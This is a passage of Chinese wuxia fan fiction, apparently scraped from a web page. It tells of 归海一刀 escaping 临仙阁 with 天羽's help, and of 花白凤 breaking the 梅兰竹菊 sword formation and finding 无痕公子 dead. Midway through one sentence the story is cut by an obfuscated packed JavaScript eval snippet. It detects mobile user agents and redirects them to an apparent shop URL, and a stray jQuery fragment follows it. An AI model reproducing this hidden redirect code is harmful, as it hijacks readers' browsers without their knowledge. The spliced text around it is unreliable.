一时间,在狭小的楼阁之中,掌风、刀气呼啸之声此起彼伏,犹如飓风肆虐。一刀持刀在手,刀沉势重,刀锋所到之处,碎石断木,饶是如此,仍旧不能占据上风。只因天羽掌中玄劲实在奇妙,无论一刀刀势如何刚猛,可只要被天羽掌力一带,刀锋随即偏斜。天羽身法穿梭,一面搅乱一刀的刀法,一面拳掌变化,乘缝即入,直攻一刀周身要害。但一刀身经百战,临敌应变更为从容,每每刀锋走偏,立即身随刀走,移形变招,攻守相易,叫天羽讨不着丝毫便宜。如此连斗百招,两人依旧相持不下。 可百招过后,形势一变。一刀在临仙阁外被接连阻击,已被消耗不少力气,眼下再与天羽缠斗,时间一长,渐感气力不济,却仍咬牙不退。 天羽见一刀挥汗如雨、面红筋涨,知他是在强行运功。一刀本就内伤初愈,眼下功力只有以往七、八成,可他无视伤痛,强提真气,丹田内如烈火灼烧,运功冲击体内各处大穴,虽能激发自身潜力,可若继续久战下去,轻则走火入魔,重则功力耗尽而亡。天羽见状不忍,于是收力后退,岂料一刀毫不留情,宝刀呼啸横扫,若非天羽闪避及时,只怕头颅都要被斩下。 天羽本有意相让,可见一刀如此绝情,心中怨愤复生,当即纵身一跃,拳掌如风,化出万千幻影,向一刀当头罩下。一刀气息已乱,刀势渐弱,决计无法抵挡,是以连连后退,已被逼到木梯围栏边上。 天羽到底对一刀有情,无法狠下杀手,不由得掌势稍缓,岂料一刀忽地眼神一凛,一招“力劈华山”,斩向天羽手臂关节。天羽这一招“天山飘雪”,本是以实化虚、虚中有实的绝顶掌法,只可惜她年纪还小,尚未精熟,相反,一刀身经百战,一眼看出天羽左手掌法乃诱敌虚招,右掌为实,于是以攻为守,狠招先发。但天羽亦是了得,在危急之刻,双掌虚实相易,左掌发出罡气,震歪刀锋,借力旋身一跃,转瞬已至一刀背后,双脚勾住木梯护栏,趁一刀被她掌力牵引、身形不稳之际,双掌向一刀的左右太阳穴拍去。天羽左右夹攻,势在必得,而一刀踉踉跄跄,看似绝难回防,岂料忽地顺势向前一扑,身形回转,刀气卷地而来。 天羽还未明白发生了什么,只听得一阵木头碎裂的声音,身体一沉,竟从顶楼向下跌落。 原来从一开始,一刀就明白自己的绝情斩被移花接木大法克制,短时间内无法破解,所以他佯装强攻不让,每一招威力无比,却根本没指望伤到天羽,而是要破坏木梯围栏。待到时机成熟,一刀故意露出破绽,将天羽引至危地,斩断她脚下岌岌可危的木栏,将她逼落顶楼。 果然天羽一心求胜,却正中敌计,待到明白过来,已从顶楼跌落。天羽急忙取出腰间的紫金软鞭,卷上尚存的半截木栏,可哪知木栏损被毁得太过厉害,根本无法支撑她的体重,只听一声“咔嚓”,她的身体又开始往下跌落。 危急之刻,一刀竟伸手抓住软鞭末梢,发力将天羽拉上顶楼。 天羽被救起,气喘不匀,惊魂未定。一刀见状,也不理睬,又向楼阁门内冲去,却忽闻背后风声呼啸,偏头一闪,一道紫电擦肩而过。 临仙阁依山而建,高耸入云,此处又在顶楼,方才天羽毫无防备跌落,饶是武功高强,也必受重伤。一刀将她拉上,无疑是救她性命,一来是还天羽救命之恩,二来也想让她知难而退。可一刀不懂,他这样做,却也刺痛了天羽高傲敏感的内心,于是天羽非但不谢,反而恼羞成怒,发狂攻来。 话虽如此,天羽也有属于自己的傲气,方才她用移花接木大法和化一掌对战一刀,已然落败,眼下自然无颜再用一次。于是她改使长鞭,奋力挥舞,紫电狂奔,势可裂空,威力丝毫不输一刀的绝情斩。 只不过天羽吃一堑长一智,唯恐再被暗算,是以她的招式看似疯狂,可脚下步伐沉稳,长鞭只攻一刀的上盘,这反而给一刀可乘之机。 一刀手握宝刀,却不攻击,左右闪避,伏地一跃,如潜龙在渊,穿过狂风骤雨般的鞭法,转瞬已至身前。天羽见之大惊,手腕一抖,软鞭竟凝为一条钢刺,直刺一刀眉心。一刀仰面躲过,一招“举火撩天”,上削软鞭,岂料竟削不断。 原本一刀的汗血宝刀由天外玄铁锻造而成,沉重坚硬,削铁如泥,加之一刀的绝情斩威力无比,以往对敌,切金断玉,不在话下。可一刀不知道,天羽的紫金软鞭也来头不小,是由一百零八根金线淬钢炼制,编织成鞭,既可坚硬如铁,又能柔软如绢,和天涯的精钢软剑有异曲同工之妙。 一刀横刀上削,凌空难以着力,天羽趁机,手腕再抖,长鞭又复柔软,如灵蛇般绕过汗血宝刀,鞭稍呼啸着向一刀俯冲而下。一刀临危不乱,一招“云横秦岭”,刀尖抵着长鞭中段,掌力一推,连刀带鞭钉在墙上。 一刀这一掌用力之大,击穿墙壁,天羽一时无法收回长鞭,一刀趁此机会,右手掌刀向天羽颈间斩下。天羽知道一刀已能刀气化形,见他来势汹汹,左手再运罡气,正欲抵挡。岂料一刀身形骤变,移形换位,转瞬已至天羽身后,冷不防点中她后背麻穴。 天羽只知道一刀刀法绝顶,却不知他的轻功身法、点穴之技亦属一流,一时疏忽着了道。一刀点中天羽麻穴,自以为将她制服,因此并未再施杀手,拔出墙上宝刀。可刚一转身,肩头被人按住,回头一看,又是天羽。 “你……” “移花接木大法能够夺他人功力为己用,当然也可以移经换穴。” 说罢,天羽再度攻来。 天羽话虽如此,可移花接木大法换穴要诀在于调动周身真气逆行,冲破穴道,虽可解一时之危,但对身体伤损不轻。天羽强行运气,引得周身经脉剧痛,虽然她强忍不发,但毕竟只是未满二十岁的少女,哪里经受得住?不过片刻,已疼得额头沁汗,掌法、步法破绽百出。一刀看穿,暗自叹气,躲过天羽迎面一掌,手中宝刀向她左肩砍去。一刀此招刻意放缓,意在逼迫天羽躲闪,趁机施展“流云飞袖”擒拿。哪知天羽丝毫不躲,反而身体主动上前迎着刀锋。 一刀察觉,及时止住刀势,却不料天羽赤手抓住刀背,将刀锋引至自己颈间,然后一个旋身,背靠一刀胸怀。 “你干什么?” “快!挟持我,逃出去!” 一刀茫然不解。 “母亲根本不在那道门后,你只要闯进去,就会有机关把你困住。你快赶回去啊!” 话至此处,一刀的心忽然悬了起来。一刀并非有勇无谋之辈,此来之前,他推算过各种可能,谷中有云萝带来的御林军把守,又有无痕公子坐镇,就算一刀三人一时被困在外,想来也无人能伤到海棠。可如今经天羽一说,一刀顿时动摇,他回想一切,自他们来到临仙阁后,南教层层阻击,显然早有防备,可所使手段似乎都是在分化、围困他们,而不是一举歼之,难道真是…… “你还犹豫什么?快啊!” 天羽一声催促唤醒一刀,也不知怎的,一刀竟如一个受了训斥的孩童,顿时全无主意,亦步亦趋遵照天羽所说而做。 再说临仙阁外,成是非、天涯已然力尽疲惫,且战且退,最终二人会合,被团团包围。危急之时,忽见一刀挟持着天羽冲出门外,大喝道: “都让开!” 众人闻声望去,皆是大惊,尤其苗长老,急欲上前,却见架在天羽颈间明晃晃的刀刃,不禁失声道: “圣女,你这是……” 成是非、天涯见围攻人潮逐渐退至两侧,也来不及细想,迅速奔至一刀身边。 “一刀,你拿到解药了吗?这……” 成是非看着一刀臂弯之中的天羽,惊讶得语无伦次。 “这不是……不是那个……” 一刀没有出声,只是摇头示意他不要再问。三人挟持着天羽缓缓向大路走去,南教众人不敢妄动,却紧跟不放。等走到大路,天羽则偷偷将一支短哨扔给天涯。 “快吹这个!” 天涯接住短哨,不明所以,可看一刀点头示意,似乎十分信任这位南教圣女,也就不再犹豫。 随着一阵悠长的哨声,山林之中奔出三匹马,为首的还是一匹高大的枣红色骏马。 一刀认出那匹枣红马,惊道: “这是……” “这本就是你的马,我还给你!” 天羽声音极低,几乎听不出情绪起伏,可她又执意低着脸,不让一刀看见她的神情。 一刀本想张口说些什么,却最终止住。 待到三匹马奔至面前,一刀把心一狠,用力将天羽将前推去,随即翻身上马,头也不回地疾驰远去。 31.同门誓相护 爱侣终聚首 再将目光转回云江峡谷,日至中天,谷中依旧云雾弥漫。 自打一刀一行三人离开之后,梅琴接过守卫重责,亲自排兵布阵,命令哨兵奉命潜伏在谷口两侧山顶警戒,谷中兵士亦手持长茅,严阵以待。众人默不出声,在等待一场暴风雨来到。 终于,浓雾彼端有大片人影走来。两名哨兵从潜伏草丛中伸出头去,想仔细观察。只见一队人马奔来,约有百人,皆是苗人装扮,为首的是四名黑衣汉子,抬着一顶竹轿,轿上是一名红衣妇人。两名哨兵摸清敌袭人数,正欲返回禀报,忽见红衣妇人抬头瞪来,玉手一扬,两枚石子射上十丈高崖,一名哨兵被正中眉心,登时脑浆四溅,而另一名头稍偏斜,却也被击中右眼,痛叫哀嚎,但他不忘职责,点燃了应急用的警报火箭。 随着“嗤”的一声锐响,一道细长的火光冲天。谷内守军见状,立时警戒,强提精神。紧接着,一股箭雨穿过浓雾射来,一群苗族人马紧随其后。 “列阵!” 镇守将领一声高呼,稳定军心,兵士迅速列阵,执盾在前,抵挡箭矢,弓兵在后,连弩齐射。这支军队是由云萝带来,选自御林军,训练有素。相比之下,这些苗人虽彪悍勇猛,到底只是乌合之众,旦见箭雨落下,顿时乱了阵脚,转瞬间已有伤损。 可红衣妇人却丝毫不慌,只见她身形不动,依旧端坐轿上,双袖飞出两道红绫,左手上扬,红绫犹如海浪翻涌,卷住落下的箭雨,右手一推,另一条红绫竟如破城锤般向前撞去,生生将军队防守阵型撞开一道口子。 那守将经历过沙场厮杀,却罕有对阵武林高手,哪见过这等厉害,连忙喊道: “再放箭!快……” 可话音未落,守将忽觉红光蔽天,抬头一看,原来是红衣妇人不知何时施展轻功,由头顶上方掠过,红衣妇人左手红绫一抖,原本被卷住的箭矢尽数落下,每一支带有风啸之声,守将还未来得及反应,已经天灵盖中箭。 守将一死,军队大乱,那些苗人趁机涌上,两队人马战作一团,场面大乱。 红衣妇人丝毫不顾身后的混战,径直奔向谷中营帐,却忽感杀气袭来,后退一步,一道寒光擦着她的鼻尖划过,削落她的面纱。待红衣妇人回过神来,已被四名女子围住。 “久疏问候,教主海涵!”为首的女子双手抚剑,对着红衣妇人恭敬一拜。 花白凤沉默不语,望着眼前的女子,沉思良久,终于恍然大悟,道: “我想起来了,你是当年跟在他身边的小丫头。” “是,奴婢名叫梅琴。” “一眨眼,你竟出落得如此美貌!”花白凤上下打量梅琴,只见她一身白衣,身姿玉立,肤色白里透红,眉眼清冷脱俗,犹如一支绽放的梅花。再看其余三人,皆是身形窈窕,眉目如画的年轻女子,“多了几位花朵般美人儿,还有一个才貌绝伦的入室女弟子,看样子这些年来,无痕公子的艳福不浅呢!” 花白凤冷嘲热讽,登时激怒四女,在梅兰竹菊四女之中,竹剑的脾性最为刚烈,几乎就要上前拼命,却被梅琴的眼神止住。 “教主何苦如此呢?”梅琴痛心道,“当年公子的确错信小人,伤了教主。可公子对教主一心一意,这么多年从未忘怀,公子的为人如何,教主应该最清楚才是!” “哼,清楚?我清楚什么?”花白凤一声苦笑,仰天叹道,“当年,我本以为他和那些人不一样,不在乎什么汉苗成见,是真心信我、爱我,可谁想……哼,早知如此,我就不该救他,由得他被陈玄松陷害,背着采花淫贼的恶名,受万人唾弃、江湖追杀,死无葬身……” 花白凤言语越发恶毒,竹剑不禁怒道: “够了!” 梅兰竹菊四女虽然自小被无痕公子收养,形影不离,可二十年前,无痕公子与花白凤相遇之时,兰竹菊三女尚未被收养,海棠亦未拜师,而多年来无痕公子也不愿将这段旧事向他人倾诉,因此除去梅琴,无人知晓当年情形究竟如何。饶是如此,竹剑依然坚定道: “我不知道当年公子究竟做错何事,但只凭公子性情为人,我相信公子绝非恶意为之。冤有头债有主,你心中有怨,为何不去找朱无视?反而追打公子,还要牵连海棠,当真是……” “竹剑!” “当真什么?你也想说我心肠恶毒?你不知当年之事,却能如此相信他。我还真好奇,无痕公子到底是用了手段,把你们几位小美人儿调教得服服帖帖?” 花白凤污言讽刺,竹剑被激得又羞又气,可未等她发怒,又见花白凤眼神一凛,犹如万千寒箭射来,竹剑不禁心头一颤,怎么也发不出声来。 “这么多年来,我潜心练武,为的就是报仇雪恨。至如今神功大成,只可惜朱无视运气好,他若晚死一年,我自有手段叫他求生不得,求死不能!” 花白凤言语之恶毒,叫人不寒而栗,菊意年纪最小,抵不住心中怯意,不由得后退半步。花白凤自然察觉,转而一笑,继续道: “至于他,哼,好一个高风亮节的无痕公子。你们说我心肠恶毒,不错,我是魔教妖妇,自然要恶毒。可他春梦了无痕呢,当真就问心无愧?” “你什么意思?” “什么意思,你应该最清楚。”花白凤指着梅琴,讥笑道,“当年,是我教他情蛊的用法,情蛊是以梦枕蝶的幼虫,喂养人的心头之血炼制而成,一旦活蛊植入体内,绝无药石可解,唯一的方法只有将蛊虫引入他人体内,而且必须是由仇人甘愿承受引入活蛊。” 话至此处,兰竹菊三女皆是大惊,而梅琴则面色深沉。 “不过,这只是一句戏言。” “什么?”这下,化作梅琴大惊失色,“你……你骗了他……” “哈哈哈——” 花白凤仰天大笑,听似得意,声音却透着一股癫狂。 “怎么,你心疼了?” 花白凤止住笑声,眼神愈发冰冷,道: “当年我是真心和他在一起,对他所说的每一个字都毫无欺骗,只是他不愿相信罢了。当年我对他说得很清楚,将活蛊引入仇人体内,的确是唯一的解法,只是这解法不过传说记载,千百年来从未有人尝试过,毕竟谁会心甘情愿放弃生命,为自己的仇人引蛊解毒?他明明不愿信我,也十分清楚这仇人换蛊的法子不过传说而已,可还是冒险一试,是因为走投无路呢?还是私心作祟?” 梅琴无言以答。 “哈哈,还是让我来说吧!”花白凤继续道,“如果只是要活人引蛊也不难,只是此人必须功力深厚,而且心甘情愿。不过这也不是毫无人选,不说旁人,归海一刀必定是甘愿以命换命,只是他不愿冒这个险,毕竟是自己爱徒的心上人,他怎么舍得让自己的爱徒终生背负心上人为自己而死的痛苦?所以他情愿大费周章地救治柳生飘絮,然后利用柳生飘絮的愧疚,劝诱她心甘情愿地冒死为上官海棠引蛊,毕竟柳生飘絮与春梦了无痕非亲非故,就算为自己的爱徒引蛊而死又有何妨呢?” “胡说八道!”竹剑怒骂道,“公子行事光明磊落,怎么会……怎么会存心如此龌龊!” “光明磊落?哼,那我敢问,如果真是光明磊落,为什么他从不把他的想法告诉你们?为什么他偏偏要等到归海一刀、段天涯等人离开之后,防守如此松懈之时才着手引蛊?” “这……” “因为他深知人心存私,亲疏有别。他私心作祟,不肯让归海一刀冒险换蛊,所以情愿让柳生飘絮以命换命。可将心比心,段天涯是柳生飘絮的丈夫,难道会愿意看着自己的妻子去死吗?如果段天涯知道他的计划,一定会出手阻拦,最关键的是这会让柳生飘絮甘愿赴死的心产生动摇。所以他必须隐瞒所有人,要等到段天涯离开之后才敢动手。但这样也给了我可乘之机,否则天地黄三大密探镇守在此,我又怎么可能轻易闯入?他如今命你们四人阻拦我,也不过是叫你们送死罢了。哈哈……光明磊落的无痕公子!哈哈哈……还真是光明磊落呢!” 花白凤放声大笑,笑声回荡谷中,极是骇人。兰竹菊三女听了这一番话,不免心中动摇,可梅琴自始至终低头不语。直到花白凤笑声渐止,忽见梅琴提手一剑向她刺来。花白凤反应稍慢,堪堪躲过,颈上被削下一缕青丝。 花白凤不免吃惊,抚着断发,问道: “你这是做什么?” “我等受公子所托,镇守此处。教主前来寻仇,想来不肯轻易罢休,既然话已说完,不妨动手吧!” “哼,你就这么信任他吗?” “我收回刚才的话。”在众人惊讶的目光下,梅琴不急不缓地说道:“教主所言,的确有几分道理。毕竟,人心存私,不外如是。只不过,我想说……你根本不懂他!” 短短一句话,却刺中花白凤心中痛处。只见花白凤脸色一沉,周身杀气毕露。 “你以为,你能够拦得住我吗?” “不!”未等梅琴开口,兰竹菊三女再度持剑将花白凤围住,豪声道,“是我们才对。” “教主武功绝顶,我等自知不敌。”梅琴同样坚定道,“但我们四人自小蒙公子收留教养,恩同父母,此乃其一;海棠幼时拜入公子门下,与我们四人朝夕相处,情如姐妹,此乃其二。只凭这两点,纵使今日命丧教主手下,我们也绝不退让半步!” 话至此处,似乎已不必再说。 日头渐高,山谷中的雾气逐渐散去,梅兰竹菊四女各执长剑,紧围花白凤,不敢有丝毫松懈。反观花白凤却是气定神闲,她目光四下一扫,落在年纪最小的菊意身上。 花白凤右手轻轻抬起,看似毫无杀意,不料忽地手腕一抖,一条红绫如同利箭一般由她的袖口蹿出,直逼菊意面门而去。 花白凤这一招杀气逼人,菊意心中大骇,但她毫不退缩,待到红绫近在眼前,仰身一闪,同时挑剑全力向上一刺,转瞬将红绫刺穿。花白凤所使的红绫看似平平无奇,可她以自身绝高内力灌注,坚硬如钢,而菊意仅一刺就能刺穿,可见修为亦是不俗。 “哼,还有点本事,看样子他待你们不错!” 花白凤一声冷笑,手腕再抖,红绫回转袭来。菊意见状,身形连转,剑锋斜挑削去,却不料红绫竟似活物一般,绕过剑锋,缠绕她的手臂。菊意急生智勇,趁红绫势衰,左手施展擒拿之法,抓住红绫连绕几圈,右足抬起一勾一踩,以“千斤坠”的身法将花白凤右手红绫牢牢定住。菊意深知,自己现在的内力绝不可能胜过花白凤,但她行此一招,只盼困住花白凤的右手,困得一时是一时。 花白凤似乎也不急着与菊意硬拼,她回头一看,只见梅兰竹三女已持剑杀到,她冷笑一声,左手红绫再出,如一条灵活的蟒蛇,蜿蜒奔腾,似上而下,忽左且右,全然看不出攻向谁。 可三女亦是不惧,竹剑率先上前,施展连环剑法,恍如落叶纷飞,将花白凤所有的攻击挡下。梅琴、兰心二人无后顾之忧,绕至花白凤前后,长剑横削,梅琴攻面门,兰心攻腰间,双剑夹击,转瞬即至,花白凤双手被困,似乎绝无可能躲过。却不料,电光火石之间,花白凤以内力震断双手红绫,旋身一翻,身如飞燕穿空,在双剑夹击之下飘然荡过,同时左右两手食指各往梅琴、兰心剑锋隔空一划,二人顿觉手中长剑被一股强大而诡异的劲力粘住,竟脱手而出,向各自的胸腹刺去。 “小心!” 剑锋近在咫尺,梅琴一声惊呼,随即一掌向兰心打去,兰心领会,同时出掌对击,二人以此借力移位,堪堪躲过剑锋,反手接下对方长剑。 经此一试,花白凤看似稍处下风,实则不然。梅兰竹菊四女深知花白凤修为远胜四人合力,方才施展的移花接木大法更是诡异玄妙,毫无破解之法,纵使四女对敌之心坚定,此刻也不禁生出怯意。 “哈哈哈——”花白凤放声大笑,响彻山谷,将身上的火红披风解开一扬,豪声道:“好啊!不愧是他教出来的,这样才值得我出手!” “梅姐姐,我们该怎么办?” “列阵!” 随着梅琴一声令下,梅兰竹菊四女再度将花白凤围住,只见四女步伐迅疾,身形变幻,眨眼间使出四套截然不同的剑法,向花白凤攻去。 “这是……四君子阵……” 花白凤不禁恍惚,思绪再次回到二十年前。 二十年前,花白凤与李世晴相恋,二人在百花岛上朝夕相处,探讨武学,李世晴曾对花白凤说过,自己的师父玄机老人乃绝世之才,创设多门精妙武学,自己虽不敢夸口比肩师父,却也想有所建树。中原士人喜爱书画,又好“梅兰竹菊”,称之为“花中四君子”,李世晴则从古画之中悟出四套身法,又由身法创设剑法,虽然招式、路数风格迥异,但若能组成剑阵,长短互补,便可威力无穷。花白凤曾见李世晴各自演示过四套剑法,却从未见过剑阵。眼下只见四道倩影纷飞,犹如百花缭绕,四女身形轻灵,剑法优雅,虽招式各异,却配合得天衣无缝,仿佛一幅美妙的画卷。 花白凤感怀旧事,可杀招转瞬即至,她也不是一昧沉湎情爱的小女子,当即手中披风一展,化为一面铁盾。兰、菊二女正面刺来,自知内力不及,避实击虚,剑锋一触即走,借力跃起,双剑由凌空刺下,而梅、竹则闪至两侧,横剑齐削花白凤双手手腕。 花白凤丝毫不慌,掌力一吐,披风向上一扬,随即双手抢攻,擒拿梅、竹剑锋,梅、竹已知厉害,不敢让花白凤抓着兵器,果断回剑躲闪。兰、菊双剑由凌空刺下,极难变招,只见披风扑来,携有怒涛之势,亦是不惧,挺剑直刺,转瞬将那顶火红披风撕为碎片。 披风碎片纷纷落下,宛如无数玫瑰花瓣随风飘扬,然而就是这样一片美景之中,却包含着无数杀机。 只见梅兰竹菊四女围着花白凤,剑招连环,攻守兼备,阵法配合更是天衣无缝。花白凤被困阵中,身法躲闪,一昧招架,偶有几次出手,却毫无章法,莫说击敌制胜,就是摸着梅兰竹菊任何一人的衣袖都未能做到。 然而事实却并非如此,仔细一看,花白凤所出招数,拳掌指爪皆有,看似杂无章法,却凶狠至极,难以预料,其中一爪直扑梅琴面门,梅琴举剑上撩,不料花白凤早已变招化掌,梅琴堪堪躲过,那一掌由左耳畔擦过,隐有风雷之势,梅琴顿觉耳鸣目眩,高声惊呼: “大家小心,这是化一掌!” 梅琴长年随侍无痕公子身侧,自然听说过“化一掌”的威名。 据传“化一掌”是南教秘传绝学,虽名为掌,实则包含拳掌指爪各类招式,变幻不穷,精妙无极,可破尽天下武学招式。梅琴自知天赋平庸,绝无可能破解此等绝世武学,眼下对战不过借阵法之妙,稍占上风。可随着花白凤出手愈狠,梅琴心中愈惊,她想起花白凤所施展的玄功粘力,唯恐再蹈覆辙,于是指挥三女各退半步,稍避锋芒,只盼拖得一刻是一刻。 岂料这一退正是花白凤求之不得,花白凤当即展臂挥袖,猎猎生风,一招紧胜一招,一对罗袖瞬间化为漫天火云席卷而来。梅兰竹菊虽知难胜,依旧咬牙紧守,稳扎稳打,一时之间倒也平分秋色。 可不过片刻,梅琴渐感气息短促,大感奇怪,虽然她的修为远不及花白凤,却未至于这么快就气力不济。梅琴正自疑惑,忽感寒光刺来,仰面一闪,寒光擦着她的鼻尖划过。待梅琴定睛一看,却发现袭击之人竟是竹剑。 “你……” “不是……” 竹剑急欲辩解,忽感真气窒滞,难以发声。 梅琴大惊,竹剑亦是惊愕不已。 方才竹剑以一招“一叶知秋”刺向花白凤,剑发似电、剑势如虹,常人绝难抵挡,可花白凤躲也不躲,待到剑锋已至,忽地仰面吹出一口气,竟将这一剑生生吹开。竹剑苦练剑法,早已能够收发如意,却不料对上花白凤这一口浑厚真气,竟如暴风中的落叶,若不是竹剑拼力抵抗收势,方才一剑只怕要把梅琴的鼻子给削下。 “不好!”梅琴暗自惊叹,却为时已晚。 只见梅兰竹菊四女各自挥舞精妙剑招,看似于花白凤相持不下,实则脚步沉重,剑招愈发笨拙迟缓。四女急忙运功调息,才发现已被一股罡气笼罩,仿佛身处飓风之中,神昏脑胀,难以呼吸,手脚更是不听使唤。而花白凤却是精神抖擞,放声大笑。 原来,无痕公子所创的“四君子阵”剑阵精妙至极,世所罕见,花白凤一时难以破解。可花白凤今日前来,本就是兵行险着,趁天地黄三人赶去临仙阁,谷中无高手坐镇,出其不意大举杀来,倘若一刀等人识破计谋及时赶回,只怕徒增变数,因此花白凤决计不敢拖延,此乃其一;其二,梅兰竹菊施展剑阵,令花白凤回忆起与李世晴的往日时光,心中酸涩,又见梅兰竹菊妙龄正盛、千娇百媚,更生妒火。 因此,花白凤不惜拼着大耗内力,运用玄功灌注双掌。移花接木大法本就是至高无上内家武学,不但可夺他人功力为己所用,其玄功粘劲更是能将周身三尺的一切攻击化为无形。可梅兰竹菊四女早有防范,于是花白凤险中求胜,在剑招之中穿梭游走,挥袖成风,将浑厚劲力一掌紧接着一掌打出,很快在剑阵包围之下反客为主。梅兰竹菊本就修为远逊于花白凤,绝难抵挡花白凤以绝顶内力所布下的罡阵。 眼下花白凤胜券在握,但她心中妒火难消,决意将梅兰竹菊折辱一番。花白凤看出四女之中,菊意年纪最小,功力最低,于是她趁菊意剑锋刺来,大袖一挥,托着菊意的手肘将她抛起,菊意几近力竭,哪里抵挡得住,被整个人抛起推向对角之位的兰心。兰心见菊意扑来,手中长剑不听使唤刺向自己,明白这是花白凤有意叫她们相互残杀,虽无比愤恨,怎奈剑锋近在咫尺,兰心横剑招架,一旋一绞,将菊意的剑锋引至外门。哪料花白凤紧追而至,一掌拍来,兰心别无他法,想也不想张臂抱住菊意,旋身挺背代菊意硬接一掌。 花白凤掌力之沉,只一下就打得兰心口吐鲜血,竹剑见状勃然大怒,剑招连环刺出。花白凤哈哈大笑,双指接下迎面一剑,转瞬折断。花白凤双指夹着半截断剑,竟照着竹剑方才的招式,依样画葫芦一连刺出数十下,且每一下都力比千钧。竹剑本是四女之中剑术最佳,可她气力不济,眼下面对花白凤狂风骤雨般的剑法,勉力抵挡仍是不敌,最终手中半截断剑被震飞脱手。 竹剑兵器已失,毫无抵挡之力,花白凤正欲最后一击,却忽地停下,左足一抬,寒光闪过,将她的裙角削下一段。花白凤定睛一看,原来是梅琴正以剑刺她下盘。梅琴沉稳心细,看出花白凤所布罡气乃由双掌发出,可还未等出声告知,其他姐妹已被打败,梅琴愤恨不已,舍命猛攻花白凤下盘。虽然梅琴来势汹汹,可“四君子”阵已破,花白凤哪里会怕?花白凤冷笑一声,不退反进,一脚踩中梅琴剑刃,梅琴无力夺回剑刃,仰头只见利爪迎面落下。花白凤出手狠辣至极,倘若梅琴中了此招,不死也要毁容。 危急之刻,一旁的竹剑也是不顾性命,由后扑上紧紧抱住花白凤。花白凤受困分神,梅琴趁机弃剑,双掌齐出,扑向花白凤。花白凤大惊,身子斜掠躲过。竹剑死死抱住花白凤不放,却听得咔嚓一声,右肩一阵剧痛,原来是花白凤挣脱不开,已失了耐心,推着竹剑撞向一颗翠竹。竹剑右肩受猛力撞击脱臼,当即疼得昏了过去。可花白凤刚一脱困,还未等回过神来,梅琴继而攻上,双手施展擒拿牢牢捉住花白凤的双臂,放声高呼: “快放箭!” 花白凤大惑不解,却听得背后箭声呼啸。原来,花白凤虽率众攻来,但南教的乌合之众哪里能胜过训练有素的御林军?尽管眼下仍混战不止,可已有小部分兵士由战场抽出身前来相助。梅琴呼喊求救,那些兵士心领神会,当即搭箭射来。这一情况出乎花白凤的意料,花白凤躲闪不开,一咬牙再运内力,移形换位,将梅琴当作肉盾挡下箭矢,接着双臂灌力,生生将梅琴双手震开,向前大力推去,撞倒赶来的兵士。 眼下已再无人阻挡,可花白凤不敢休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337514|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,飞身冲向营帐。哪知花白凤刚要掀开帷幔,一道寒光从林中刺来,花白凤躲闪不及,被划伤手背。 来人正是云萝。 原来,当成是非、云萝一早醒来,得知一刀、天涯出谷,以云萝的机敏,已经猜出一刀、天涯离去之意,于是力劝成是非赶去相助,自己留守谷中。云萝本以为有无痕公子坐镇谷中,料也无事。却不想花白凤率众袭来,无痕公子闭门不出,只让梅兰竹菊四女迎战。云萝本想帮忙,但经过雪川一战,云萝知道花白凤武功深不可测,自己绝不是对手,于是躲在林中窥探。云萝眼见梅兰竹菊施展精妙剑招,仍然被一一打败,心中恐惧。可当云萝看见花白凤一步步靠近海棠的营帐,最终情义战胜了恐惧,奋不顾身地刺出了这一剑。 花白凤被偷袭刺伤,勃然大怒,可当她看清来人是云萝,不得不强忍怒火,收着力道挥袖往云萝脸上一拂,将她打晕了事。 花白凤进入营帐,只见一张矮榻之上躺着两名女子,正是海棠和飘絮,而无痕公子则盘腿坐在她们身前,背对账门。 花白凤见无痕不动分毫,连声冷笑道: “都到这个地步,无痕公子还是不愿出手吗?” 无痕公子毫无应答。 花白凤不由得大怒道: “你以为这样就能逃避一切吗?我今日既然来了,定不会善罢甘休!你要保护你的宝贝徒弟,就来杀我啊!” 无痕公子依旧不为所动,饶是花白凤怒火蒙心,此刻也该察觉异常。于是花白凤箭步上前,伸手去抓无痕公子肩头,却不料只是一碰,无痕公子的身体竟软绵绵地倒了下去。 花白凤头脑一片空白,她颤抖地伸手去探无痕公子鼻息,果然已无半点气息。 这一刻,花白凤不知该如何自处,是放声大笑,还是嚎啕大哭?她紧要牙关,倔强地不肯发出任何声音,她推起无痕公子,周身内力灌注双掌,向他背上的灵台穴按去。 “你不许死!我还没有报仇,我不准你死!” 可又有什么用呢?无痕公子的身体早已冰凉。 花白凤再也无法克制自己的情绪,伴随一声悲号,营帐的顶篷被掌风撕裂,账外的风灌了进来,挟带无数片竹叶,如同雨水般纷纷落下。 “为什么你要选择去死?为什么你情愿为了别人而死,也不肯向我服软?” 花白凤一声又一声地质问,只可惜这个答案除了她自己以外,无人能够解答。 花白凤挥舞双掌,四处发泄,账中桌椅板凳无一幸免,仍是无法平息她的悲伤。最终,花白凤的目光落在了昏迷不醒的海棠身上。 “是你!都是因为你!” 花白凤已被愤恨冲昏头脑,扬掌就要向海棠拍下。 可就在千钧一发之际,一道寒光刺来,花白凤不得已后退一步躲开。紧接着一道白影卷来,抱起海棠远离花白凤。待花白凤定睛一看,来人正是梅琴。 只见梅琴手执长剑,护在海棠身前,她的嘴角淌着鲜血,背上的箭矢仍未拔出,衣衫已被染红,饶是如此,她依旧眼神倔强,半步不让。 花白凤大吃一惊,且不说梅琴背上的箭矢稍有不慎就能危及性命,单是方才花白凤震脱梅琴双手所施展的内力,足以令其重伤不起。可梅琴非但没有理会这些伤痛,反而不顾实力差距,拼死挡在海棠身前。这份情义令花白凤不得不佩服。 “滚开!” 梅琴咬紧牙关,不让半步。 花白凤焦躁不已,正欲再度动手之时,忽听得一阵兵马嘶鸣之声,紧接着一个苗家汉子连滚带爬地闯了进来。 “教主,不好了……” “住口!”花白凤厉声喝止汉子,“丢人的东西,快说什么事?” “有……有大批兵马袭来,兄弟们死伤惨重,已经支撑不住……” “胡说!” 